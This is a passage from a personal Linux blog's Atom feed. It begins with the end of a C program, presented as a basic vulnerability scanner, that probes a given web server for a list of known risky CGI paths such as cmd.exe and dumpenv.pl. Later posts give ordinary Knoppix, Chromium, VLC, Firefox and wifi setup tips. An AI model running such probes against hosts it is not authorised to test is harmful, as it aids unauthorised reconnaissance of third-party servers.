";&lt;/p&gt;&lt;p&gt;cginame[92] = "day5datacopier ";&lt;/p&gt;&lt;p&gt;cginame[93] = "day5notifier ";&lt;/p&gt;&lt;p&gt;cginame[94] = "dumpenv.pl ";&lt;/p&gt;&lt;p&gt;cginame[95] = "cmd.exe ";&lt;/p&gt;&lt;p&gt;cginame[96] = "WebSTAR ";&lt;/p&gt;&lt;p&gt;cginame[97] = "~root Admin Root";&lt;/p&gt;&lt;p&gt;cginame[98] = "access.log Admin Google IP Spy";&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;if (argc&amp;lt;2)&lt;/p&gt;&lt;p/&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("\n SaferBot ]2[ The network buster,");&lt;/p&gt;&lt;p&gt;printf("\n Vulnerability scanner......... ");&lt;/p&gt;&lt;p&gt;printf("\nusage : %s host ",argv[0]);&lt;/p&gt;&lt;p&gt;printf("\n Or : %s host -t [for test mode]\n\n",argv[0]);&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if (argc&amp;gt;2)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;if(strstr("-t",argv[2]))&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;debugm=1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if ((he=gethostbyname(argv[1])) == NULL)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;herror("gethostbyname");&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;printf("\n SaferBot ]2[ The network buster,\n");&lt;/p&gt;&lt;p&gt;printf("\n Vulnerability database scanner. \n");&lt;/p&gt;&lt;p&gt;printf("\n Searching database scanning... \n\t Socket Open Connecting...\n");&lt;/p&gt;&lt;p&gt;start=inet_addr(argv[1]);&lt;/p&gt;&lt;p&gt;counter=ntohl(start);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;sock=socket(AF_INET, SOCK_STREAM, 0);&lt;/p&gt;&lt;p&gt;bcopy(he-&amp;gt;h_addr, (char *)&amp;amp;sin.sin_addr, he-&amp;gt;h_length);&lt;/p&gt;&lt;p&gt;sin.sin_family=AF_INET;&lt;/p&gt;&lt;p&gt;sin.sin_port=htons(80); /* port number 80 default */&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if (connect(sock, (struct sockaddr*)&amp;amp;sin, sizeof(sin))!=0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;perror("connect");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;printf("\n\n\t Checking WebServer Version... \n");&lt;/p&gt;&lt;p&gt;send(sock, "HEAD / HTTP/1.0\n\n",17,0);&lt;/p&gt;&lt;p&gt;recv(sock, buffer, sizeof(buffer),0);&lt;/p&gt;&lt;p&gt;printf("%s",buffer);&lt;/p&gt;&lt;p&gt;close(sock);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf("\n\t Vulnerability Scanning... \n");&lt;/p&gt;&lt;p/&gt;&lt;p&gt;while(count++ &amp;lt; 98)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;sock=socket(AF_INET, SOCK_STREAM, 0);&lt;/p&gt;&lt;p&gt;bcopy(he-&amp;gt;h_addr, (char *)&amp;amp;sin.sin_addr, he-&amp;gt;h_length);&lt;/p&gt;&lt;p&gt;sin.sin_family=AF_INET;&lt;/p&gt;&lt;p&gt;sin.sin_port=htons(80);&lt;/p&gt;&lt;p&gt;if (connect(sock, (struct sockaddr*)&amp;amp;sin, sizeof(sin))!=0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;perror("connect");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;printf("&amp;gt;&amp;gt;&amp;gt; %s : ",cginame[count]);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;for(numin=0;numin &amp;lt; 1024;numin++)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;cgibuff[numin] = '\0';&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;send(sock, buff[count],strlen(buff[count]),0);&lt;/p&gt;&lt;p&gt;recv(sock, cgibuff, sizeof(cgibuff),0);&lt;/p&gt;&lt;p&gt;cgistr = strstr(cgibuff,foundmsg);&lt;/p&gt;&lt;p&gt;if( cgistr != NULL) {&lt;/p&gt;&lt;p&gt;printf(" &amp;lt;-- Found !! \n");++suxes; }&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;printf(" Not Found safe..\n");&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if(debugm==1)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("\n\n &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;\n %s \n &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;\n",cgibuff);&lt;/p&gt;&lt;p&gt;printf("Press any key to continue....\n");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;close(sock);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;if (suxes){ printf(" Network is Exploitable and deploys deceptive services. \n");}&lt;/p&gt;&lt;p&gt;else { printf (" Network is Private and the administrator is recording this attempt.\n");}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-6040878959122546475?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/6040878959122546475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=6040878959122546475' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/6040878959122546475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/6040878959122546475'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2010/04/how-to-make-very-basic-google.html' title='How to make a very basic google vulnerability scanner. in ANSI C and/or GCC programing.'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3114724397746036541</id><published>2010-04-26T15:28:00.001-07:00</published><updated>2010-04-26T15:28:20.524-07:00</updated><title type='text'>A paradox to logic and the oubliette cage.</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;“A void and light do not exist and that maybe time is pure illusion like temperature what do you think?” - the unanswerable question of my dream.&lt;/p&gt;&lt;p/&gt;&lt;p&gt;Mathematic traps often keep the human mind occupied with self preservation herding the individual onward to the last logical trap A question that cannot be answered. But the true architect knows the back doors of such a trap thus defusing the final entrapment. Please answer the question.. your life depends on it! In my dream the mad-hatter is asking me this question at a costume kangaroo-court hearing. The logical back door of the system in question was also A trap my mind engineered to ensnare me into a revelation of that idea. I swear it was a waking dream that disturbed me to no end. The idea of a perfect &amp;amp; flawless trap with no logical or hackable exit. A 21st century oubliette. No logical exits only misdirection without end a treacherous way of exhausting an individual to death. A nonlethal cage that crushes an individual mentally the essence &amp;amp; apex of Orwellian thinking. An elegant proof of concept that's both ugly and beautiful like a mirror image of nature. Just like the Internet is a mirror of humanity's guided unconscious trends.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3114724397746036541?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3114724397746036541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3114724397746036541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3114724397746036541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3114724397746036541'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2010/04/paradox-to-logic-and-oubliette-cage.html' title='A paradox to logic and the oubliette cage.'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-4892714109517317259</id><published>2010-01-19T00:39:00.000-08:00</published><updated>2010-01-19T00:51:57.065-08:00</updated><title type='text'>Knoppix 5.1 Vs. Knoppix 6.2</title><content type='html'>Q: How do i install knoppix to the H.D. Of my computer or desktop ? &lt;br /&gt;A:  2 steps to install Knoppix to the H.D. Of any computer &lt;br /&gt;            Step 1: After Knoppix has finished booting and KDE Desktop has loaded, &lt;br /&gt;             simultaneously press Ctrl + Alt + F1 for the command line prompt. &lt;br /&gt;             And/or Ctrl + Alt + F2 only if F1 fails! &lt;br /&gt;         &lt;br /&gt;             Step 2:  Commands to start installing knoppix are : &lt;br /&gt;                          1. knoppix-installer   &lt;br /&gt;                          2. knx-hdinstall                           &lt;br /&gt;              Note: Knoppix 6.2 you have the GUI Menu option to install to your H.D. &lt;br /&gt;                        So the 2 step process  is rather obsolete.       &lt;br /&gt; &lt;br /&gt;  A computer with 1.6GHz CPU &amp; 256MB of ram will run Knoppix 6.2 with fusion desktop effects. &lt;br /&gt;  But do note the boot process may act sluggish or take 4 to 5 min to boot up. &lt;br /&gt;  &lt;br /&gt;                                                  So don’t hit the   panic button too soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-4892714109517317259?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/4892714109517317259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=4892714109517317259' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/4892714109517317259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/4892714109517317259'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2010/01/knoppix-51-vs-knoppix-62.html' title='Knoppix 5.1 Vs. Knoppix 6.2'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1329810439632581393</id><published>2009-10-05T15:43:00.000-07:00</published><updated>2009-10-05T16:38:58.750-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google chrom for fedora 11'/><title type='text'>open source chrome on fedora 11</title><content type='html'>Google has its open source version of its Chrome browser, currently under heavy development. The open source version is called Chromium.&lt;br /&gt;&lt;br /&gt;Tom ‘Spot’ Callaway, the Fedora Engineering Manager, has created a rpm repository with precompiled versions of the chromium browser.&lt;br /&gt;&lt;br /&gt;To install chromium, create a chromium.repo file in your /etc/yum.repos.d directory.&lt;br /&gt;Commands: &lt;br /&gt;vim /etc/yum.repos.d/chromium.repo&lt;br /&gt;nano /etc/yum.repos.d/chromium.repo &lt;br /&gt;&lt;br /&gt;Then fill it up with this:-&lt;br /&gt;&lt;br /&gt;[chromium]&lt;br /&gt;name=Chromium Test Packages&lt;br /&gt;baseurl=http://spot.fedorapeople.org/chromium/F$releasever/&lt;br /&gt;enabled=1&lt;br /&gt;gpgcheck=0&lt;br /&gt;&lt;br /&gt;After that, just yum install chromium&lt;br /&gt;Root Shell commands: &lt;br /&gt;[root@yourpc ~]# yum install chromium&lt;br /&gt;User Shell commands:&lt;br /&gt;[workspace@yourpc ~]$ su -c 'yum install chromium'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1329810439632581393?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1329810439632581393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1329810439632581393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1329810439632581393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1329810439632581393'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/10/open-source-chrome-on-fedora-11.html' title='open source chrome on fedora 11'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-8109248173716714086</id><published>2009-07-27T16:50:00.000-07:00</published><updated>2009-07-27T16:51:37.884-07:00</updated><title type='text'>how to setup ubuntu to play an Encrypted DVD</title><content type='html'>VLC media player for Debian GNU/Linux&lt;br /&gt;Debian stable (lenny)&lt;br /&gt;&lt;br /&gt;VLC is available in etch, with a quite old version. Install vlc, mozilla-plugin-vlc, the usual way you do it.&lt;br /&gt;Debian testing (squeeze)&lt;br /&gt;&lt;br /&gt;VLC is potentially available in testing. But due to the way testing works, we can't guarantee which version, if any, is currently available. Install vlc, mozilla-plugin-vlc, the usual way you do it.&lt;br /&gt;Debian unstable (sid)&lt;br /&gt;&lt;br /&gt;VLC's latest packaged version is always in the official Debian unstable branch. However you should still use our apt-get line if you need libdvdcss:&lt;br /&gt;&lt;br /&gt;     deb http://download.videolan.org/pub/videolan/debian sid main&lt;br /&gt;     deb-src http://download.videolan.org/pub/videolan/debian sid main&lt;br /&gt;&lt;br /&gt;For a normal install, do:&lt;br /&gt;&lt;br /&gt;   # apt-get update&lt;br /&gt;   # apt-get install vlc libdvdcss2&lt;br /&gt;&lt;br /&gt;Debian oldstable (etch)&lt;br /&gt;&lt;br /&gt;A version (0.8.6) is packaged in Etch. However, if you want libdvdcss (DVD decryption) support, you will need to add the following lines to your /etc/apt/sources.list:&lt;br /&gt;&lt;br /&gt;     deb http://download.videolan.org/pub/videolan/debian sarge main&lt;br /&gt;     deb-src http://download.videolan.org/pub/videolan/debian sarge main&lt;br /&gt;&lt;br /&gt;For a normal install, do:&lt;br /&gt;&lt;br /&gt;   # apt-get update&lt;br /&gt;   # apt-get install vlc libdvdcss2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-8109248173716714086?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/8109248173716714086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=8109248173716714086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8109248173716714086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8109248173716714086'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/07/how-to-setup-ubuntu-to-play-encrypted.html' title='how to setup ubuntu to play an Encrypted DVD'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-7406394579023657142</id><published>2009-07-13T13:36:00.000-07:00</published><updated>2009-07-13T22:05:34.205-07:00</updated><title type='text'>google chromium browser setup.</title><content type='html'>sudo su&lt;br /&gt;echo "deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main #chromium-browser" &gt; /etc/apt/sources.list.d/chromium.list&lt;br /&gt;sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xfbef0d696de1c72ba5a835fe5a9bf3bb4e5e17b5&lt;br /&gt;sudo apt-get update &amp;&amp; sudo apt-get install chromium-browser&lt;br /&gt;&lt;br /&gt;use command sudo dolphin to copy ".SO" files enable Flash support:&lt;br /&gt;cd /usr/lib/chromium-browser/plugins&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: this command may only copy A dead link... &lt;br /&gt;sudo ln -s ../../flashplugin-installer/libflashplayer.so&lt;br /&gt;&lt;br /&gt;For extensions: Start browser with the following commands. &lt;br /&gt;chromium-browser --enable-greasemonkey --enable-user-scripts --enable-extensions&lt;br /&gt;&lt;br /&gt;Note browser may lock out bash shell dir listing use: &lt;br /&gt;/usr/lib/chromium-browser/extensions &lt;br /&gt;&lt;br /&gt;browse to chrome://extensions/ to check installation and about:plugins..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-7406394579023657142?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/7406394579023657142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=7406394579023657142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7406394579023657142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7406394579023657142'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/07/google-chromium-browser-setup.html' title='google chromium browser setup.'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-2074252485741388172</id><published>2009-05-27T01:44:00.000-07:00</published><updated>2009-05-27T01:59:23.917-07:00</updated><title type='text'>ubuntu Acer setup Notes</title><content type='html'>How to drastically speed up Firefox Make firefox store its cache in the /tmp directory - which when we we have moved it to a tmpfs according to this wiki is *faster*.&lt;br /&gt;    &lt;br /&gt;    * Firefox 3.x uses a sqlite db that creates many write accesses, so this can reduce it:&lt;br /&gt;&lt;br /&gt;1. In Firefox go to (type as url) "about:config", right click, add new string browser.cache.disk.parent_directory“ with value "/tmp/firefox"&lt;br /&gt;&lt;br /&gt;2. In Firefox change options/security/ and disable phishing if you dare. - Your firefox will run even faster then but won't warn you about phishing any more so take care! &lt;br /&gt;&lt;br /&gt;Alternatively, to speed up Firefox further, enter "about:config" (without the quotes) as an url in Firefox, then change the following settings:&lt;br /&gt;&lt;br /&gt;// disable disk and offline cache&lt;br /&gt;set browser.cache.disk.enabled: false&lt;br /&gt;set browser.cache.disk.capacity: 0&lt;br /&gt;set browser.cache.offline.enable: false&lt;br /&gt;set browser.cache.offline.capacity: 0&lt;br /&gt;&lt;br /&gt;// just as a precaution&lt;br /&gt;add browser.cache.disk.parent_directory: /tmp&lt;br /&gt;&lt;br /&gt;// Apparently safebrowsing slows things down - disable at your own risk!&lt;br /&gt;set browser.safebrowsing.malware.enabled: false&lt;br /&gt;set browser.safebrowsing.enabled: false&lt;br /&gt;set network.prefetch-next: false&lt;br /&gt;&lt;br /&gt;// don't show suggestions in the search bar&lt;br /&gt;browser.search.suggest.enabled: false&lt;br /&gt;&lt;br /&gt;// don't spellcheck as I type&lt;br /&gt;layout.spellcheckDefault: 0&lt;br /&gt;&lt;br /&gt;Well now I cannot remember if I have already recored this information on this web-blog or not. Well I really have to find the time to overlook my past entries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-2074252485741388172?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/2074252485741388172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=2074252485741388172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2074252485741388172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2074252485741388172'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/05/ubuntu-acer-setup-notes.html' title='ubuntu Acer setup Notes'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3945827130544772395</id><published>2009-04-12T12:09:00.000-07:00</published><updated>2009-04-12T12:12:00.723-07:00</updated><title type='text'>Acer Aspire one</title><content type='html'>&lt;a href="http://madberry.org/2008/11/how-to-get-atheros-ar242x-to-work-on-810-intrepid-ibex/"&gt;http://madberry.org/2008/11/how-to-get-atheros-ar242x-to-work-on-810-intrepid-ibex/  &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Acer Aspire One Atheros ar242X setup ? lolz this website may help. the only bad thing about this Netbook is the WIFI.&lt;br /&gt;&lt;a href="http://madberry.org/2008/11/how-to-get-atheros-ar242x-to-work-on-810-intrepid-ibex/"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3945827130544772395?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3945827130544772395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3945827130544772395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3945827130544772395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3945827130544772395'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/04/acer-aspire-one.html' title='Acer Aspire one'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1084917868559532021</id><published>2009-03-29T17:24:00.000-07:00</published><updated>2009-04-12T12:13:06.973-07:00</updated><title type='text'>Howto setup wifi on Acer One Netbooks - 2009 My 1st blog post of the year!</title><content type='html'>Acer netbooks &amp;amp; the AR242X WIFI CHIPSET:&lt;br /&gt;Hold the kennel at version: Ubuntu 8.10, kernel 2.6.27-7-generic&lt;br /&gt;&lt;br /&gt;Edit this file: /etc/modprobe.d/blacklist&lt;br /&gt;add&lt;br /&gt;blacklist ath_pci&lt;br /&gt;blacklist ath_hal&lt;br /&gt;&lt;br /&gt;Edit this file: /etc/sources/sources.list&lt;br /&gt;&lt;br /&gt;Look for this entry: do as directed, you may have to uncomment the back port server addresses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;## Uncomment the following two lines to add software from the 'backports'&lt;br /&gt;repository.&lt;br /&gt;##N.B. software from this repository may not have been tested as&lt;br /&gt;## extensively as that contained in the main release, although it includes&lt;br /&gt;## newer versions of some applications which may provide useful features.&lt;br /&gt;## Also, please note that software in backports WILL NOT receive any review&lt;br /&gt;## or updates from the Ubuntu security team.&lt;br /&gt;deb http://ca.archive.ubuntu.com/ubuntu/ intrepid-backports main restricted universe multiverse&lt;br /&gt;deb-src http://ca.archive.ubuntu.com/ubuntu/ intrepid-backports main restricted universe multiverse&lt;br /&gt;&lt;br /&gt;next step:&lt;br /&gt;&lt;br /&gt;sudo apt-get install linux-backports-modules-intrepid&lt;br /&gt;&lt;br /&gt;then reboot.&lt;br /&gt;&lt;br /&gt;Worked for me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1084917868559532021?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1084917868559532021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1084917868559532021' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1084917868559532021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1084917868559532021'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2009/03/2009-my-1st-blog-post-of-year.html' title='Howto setup wifi on Acer One Netbooks - 2009 My 1st blog post of the year!'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-5092758057999138447</id><published>2008-06-30T12:20:00.000-07:00</published><updated>2008-06-30T12:28:16.817-07:00</updated><title type='text'>Bash shell scripting "IF THEN" logic</title><content type='html'>UBUNTU LINUX bash shell script file. Usage of the DU and LS commands. This file is an example of scripting logic "IF THEN" &amp; script command arguments. &lt;br /&gt;project:pitch-forks filename: Script&lt;br /&gt;-------------------------------------&lt;br /&gt; &lt;br /&gt;#!/bin/bash &lt;br /&gt;if [[ $1 = "" ]]; then &lt;br /&gt; echo "Usage: $0 size listing"&lt;br /&gt;        echo "Ubuntu Linux bash script by Johnny Buckallew Stroud 2008,"&lt;br /&gt;        echo "open public information. "  &lt;br /&gt;        exit&lt;br /&gt;fi &lt;br /&gt;&lt;br /&gt;if [[ $2 = "size" ]]; then &lt;br /&gt; du -h $1&lt;br /&gt; exit&lt;br /&gt;fi &lt;br /&gt;&lt;br /&gt;if [[ $2 = "listing" ]]; then &lt;br /&gt; ls -l $1&lt;br /&gt; exit &lt;br /&gt;fi &lt;br /&gt;&lt;br /&gt;  ls -l $1 &lt;br /&gt;        du -h $1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-5092758057999138447?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/5092758057999138447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=5092758057999138447' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/5092758057999138447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/5092758057999138447'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/06/bash-shell-scripting-if-then-logic.html' title='Bash shell scripting &quot;IF THEN&quot; logic'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' 